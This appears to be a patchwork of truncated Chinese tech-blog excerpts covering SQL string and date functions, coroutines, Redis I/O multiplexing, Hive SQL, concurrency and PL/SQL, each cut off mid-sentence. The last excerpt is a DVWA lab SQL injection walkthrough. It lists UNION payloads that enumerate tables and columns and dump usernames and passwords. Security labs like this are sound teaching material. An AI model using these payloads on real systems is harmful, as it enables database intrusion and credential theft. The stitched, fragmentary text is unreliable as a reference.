select函数

字符串函数用于对字符和二进制字符进行各种操作 1.ASCII()函数  ASCII(character_expression)函数用于返回字符串表达式中最左侧的ASCII代码值。参数character_expression必须是一个char或varchar类型的字符串表达式。   eg: select ASCII('s'),ASCII('sql'),ASCII('1'); 执行结果如图: 字符's'的ASCII值为115，所以第一行和第二行返回结果相同，对于第三条语句中的纯数字的字符串，可以不用单引号括起来。 2.CHAR()函数  CHAR(integer_expression)函数将整数类型的ASCII值转换为对应的字符，integer_expression是一个介于0~255之间的整数。如果该整数表达式不在此范围内，将返回null值。 eg: select CHAR(115),CHAR(49); 可以看到，这里返回的值与ASCII函数的返回值正好相反. 3.LEFT()函数   LEFT(character_expression,integer_expression)函数返回字符串左边开始指定个数的字符串、字符或者二进制数据表达式。character_expression是字符串表达式，可以是常量，变量或字段。integer_expression为整数，指定character

原文链接: 　　mysql 中 时间和日期函数 - redfox - 博客园 　　http://www.cnblogs.com/redfox241/archive/2009/07/23/1529092.html ------------------------------------------------------------------------------------------------------------------------------------------------------ 一、MySQL 获得当前日期时间 函数 1.1 获得当前日期+时间（date + time）函数：now() mysql> select now(); +---------------------+ | now() | +---------------------+ | 2008-08-08 22:20:46 | +---------------------+ 除了 now() 函数能获得当前的日期时间外，MySQL 中还有下面的函数： current_timestamp() ,current_timestamp ,localtime() ,localtime ,localtimestamp -- (v4.0.6) ,localtimestamp() -- (v4.0.6)

协程： 基于单线程实现并发，即只用一个主线程（此时可利用的CPU只有一个）情况下实现并发； 并发的本质：切换+保存状态 CPU正在运行一个任务，会在两种情况下切走去执行其他任务（切换有操作系统强制控制），一种情况是该任务发生了阻塞，另一种是该任务计算的时间过长或有一个优先级更高的程序替代了它 在介绍进程理论时，提及进程的三种执行状态，而线程才是执行单位，所以也可以将上图理解为线程的三种状态 如果多个任务都是纯计算的，上图的情况2并不能提升效率，因为只是让CPU来回切，这样看起来所有任务都被“同时”执行的效果，此时这种切换反而会降低效率； yield本身就是一种在单线程下可以保存任务运行状态的方法，其特点如下： 　　1. yield可以保存状态，yield的状态保存于操作系统的保存线程状态很像，但是yield是代码级别控制的，更轻量级 　　2. send可以把一个函数的结果传递给另外一个函数，以此实现单线程内程序之间的切换；yield并不能实现遇到io切换 在任务1遇到io情况下，切到另外一个任务去执行，这样就可以利用任务1阻塞的时间完成其他任务的计算，效率的提升就在此处 对于单线程下，我们不可避免程序中出现io操作，如果我们能在自己的程序中（即用户程序级别，而非操作系统级别）控制单线程下的多个任务能在一个任务遇到io阻塞时就切换到另一个任务去计算

小结： 1、 在 I/O 多路复用模型中，最重要的函数调用就是 select，该方法的能够同时监控多个文件描述符的可读可写情况； 2、 Redis 服务采用 Reactor 的方式来实现文件事件处理器（每一个网络连接其实都对应一个文件描述符）； 3、 虽然整个文件事件处理器是在单线程上运行的，但是通过 I/O 多路复用模块的引入，实现了同时对多个 FD 读写的监控，提高了网络通信模型的性能，同时也可以保证整个 Redis 服务实现的简单 4、 Redis 会优先选择时间复杂度为 O(1) 的 I/O 多路复用函数作为底层实现，包括 Solaries 10 中的 evport、Linux 中的 epoll 和 macOS/FreeBSD 中的 kqueue，上述的这些函数都使用了内核内部的结构，并且能够服务几十万的文件描述符。 但是如果当前编译环境没有上述函数，就会选择 select 作为备选方案，由于其在使用时会扫描全部监听的描述符，所以其时间复杂度较差 O(n)，并且只能同时服务 1024 个文件描述符，所以一般并不会以 select 作为第一方案使用。 https://mp.weixin.qq.com/s/ySG2Qtitr6b8Zcb-SAMnGQ Redis 和 I/O 多路复用 https://draveness.me/redis-io-multiplexing

【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 高级查询在数据库中用得是最频繁的，也是应用最广泛的。 Ø 基本常用查询 --select select * from student; --all 查询所有 select all sex from student; --distinct 过滤重复 select distinct sex from student; --count 统计 select count(*) from student; select count(sex) from student; select count(distinct sex) from student; --top 取前N条记录 select top 3 * from student; --alias column name 列重命名 select id as 编号, name '名称', sex 性别 from student; --alias table name 表重命名 select id, name, s.id, s.name from student s; --column 列运算 select (age + id) col from student; select s.name + '-' + c.name from classes c, student s

1.简述 Hive 是基于Hadoop 构建的一套数据仓库分析系统，它提供了丰富的SQL查询方式来分析存储在Hadoop 分布式文件系统中的数据，可以将结构化的数据文件映射为一张数据库表，并提供完整的SQL查询功能，可以将SQL语句转换为MapReduce任务进行运行，通过自己的SQL 去查询分析需要的内容，这套SQL 简称Hive SQL，使不熟悉mapreduce 的用户很方便的利用SQL 语言查询，汇总，分析数据。而mapreduce开发人员可以把自己写的mapper 和reducer 作为插件来支持Hive 做更复杂的数据分析。 它与关系型数据库的SQL 略有不同，但支持了绝大多数的语句如DDL、DML以及常见的聚合函数、连接查询、条件查询。HIVE不适合用于联机online)事务处理，也不提供实时查询功能。它最适合应用在基于大量不可变数据的批处理作业。 HIVE的特点：可伸缩（在Hadoop的集群上动态的添加设备），可扩展，容错，输入格式的松散耦合。 Hive 的官方文档中对查询语言有了很详细的描述，请参考：http://wiki.apache.org/hadoop/Hive/LanguageManual 。 2. HIVE SQL语法规则 2.1 数据类型 2.1.1 整型 TINYINT – 1字节整数 SMALLINT – 2字节整数 INT – 4字节整数

概述 简而言之，所谓并发编程是指在一台处理器上“同时”处理多个任务。 随着硬件的发展，并发程序变得越来越重要。Web服务器会一次处理成千上万的请求。平板电脑和手机app在渲染用户画面同时还会在后台执行各种计算任务和网络请求。即使是传统的批处理问题--读取数据，计算，写输出--现在也会用并发来隐藏掉I/O的操作延迟以充分利用现代计算机设备的多个核心。计算机的性能每年都在以非线性的速度增长。 宏观的并发是指在一段时间内，有多个程序在同时运行。 并发在微观上，是指在同一时刻只能有一条指令执行，但多个程序指令被快速的轮换执行，使得在宏观上具有多个进程同时执行的效果，但在微观上并不是同时执行的，只是把时间分成若干段，使多个程序快速交替的执行。 并行和并发 并行(parallel) ：指在同一时刻，有多条指令在 多个处理器 上同时执行。 并发(concurrency) ：指在同一时刻只能有一条指令执行，但多个进程指令被快速的轮换执行，使得在宏观上具有多个进程同时执行的效果，但在微观上并不是同时执行的，只是把时间分成若干段，通过cpu 时间片轮转 使多个进程快速交替的执行。 大师曾以咖啡机的例子来解释并行和并发的区别。 并行 是两个队列 同时 使用 两台 咖啡机 （真正的多任务） 并发 是两个队列 交替 使用 一台 咖啡机 （ 假 的多任务）

SUBSTRING 返回字符、binary、text 或 image 表达式的一部分。有关可与该函数一起使用的有效 Microsoft® SQL Server™ 数据类型的更多信息，请参见数据类型。 语法 SUBSTRING ( expression , start , length ) 参数 expression 是字符串、二进制字符串、text、image、列或包含列的表达式。不要使用包含聚合函数的表达式。 start 是一个整数，指定子串的开始位置。 length 是一个整数，指定子串的长度（要返回的字符数或字节数）。 substring() ——任意位置取子串 left() right() ——左右两端取子串 ltrim() rtrim() ——截断空格，没有trim()。 charindex() patindex() ——查子串在母串中的位置，没有返回0。区别：patindex支持通配符，charindex不支持。 函数功效： 字符串截取函数，只限单字节字符使用（对于中文的截取时遇上奇数长度是会出现乱码，需另行处理），本函数可截取字符串指定范围内的字符。 应用范围： 标题、内容截取 函数格式： string substr ( string string, int start [, int length]) 参数1：处理字符串 参数2：截取的起始位置（第一个字符是从0开始）

pl/sql编程语言 pl/sql编程语言是对sql语言的扩展，使得sql语言具有过程化编程的特性。 pl/sql编程语言比一般的过程化编程语言，更加灵活高效。 pl/sql编程语言主要用来编写存储过程和存储函数等。 结构： declare --变量声明区域 begin --逻辑操作区域 end ； --可以把整个结构理解为java中的main方法 实例 ---声明方法 ---赋值操作可以使用:=也可以使用into查询语句赋值 declare --变量声明区域 i number ( 2 ) : = 10 ; s varchar2 ( 10 ) : = '小明' ; ena emp . ename % type ; ---引用型变量 emprow emp % rowtype ; ---记录型变量 begin dbms_output . put_line ( i ) ; --类似与控制台输出 dbms_output . put_line ( s ) ; select ename into ena from emp where empno = 7788 ; --将查询到的数据通过into赋值到ena dbms_output . put_line ( ena ) ; select * into emprow from emp where empno = 7788 ; dbms_output

一、Dvwa low级别 1.判断sql注入漏洞类型为：’为边界的字符串型 2.判断列数和显示位：2列2个显示位 1' order by 2 3.确定数据库：1' union select 1,database()-- - 4.查看数据库有哪些表：1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')-- - 5.查看对应表有哪些列：1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')-- - 6.查看账号密码信息：1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users)-- - 二、dvwa medium 级别 使用bp抓包查看源代码，源码有mysqli_real_escape_string()转义函数，所以不需添加边界符 1.判断sql注入漏洞类型为：有mysqli_real_escape_string()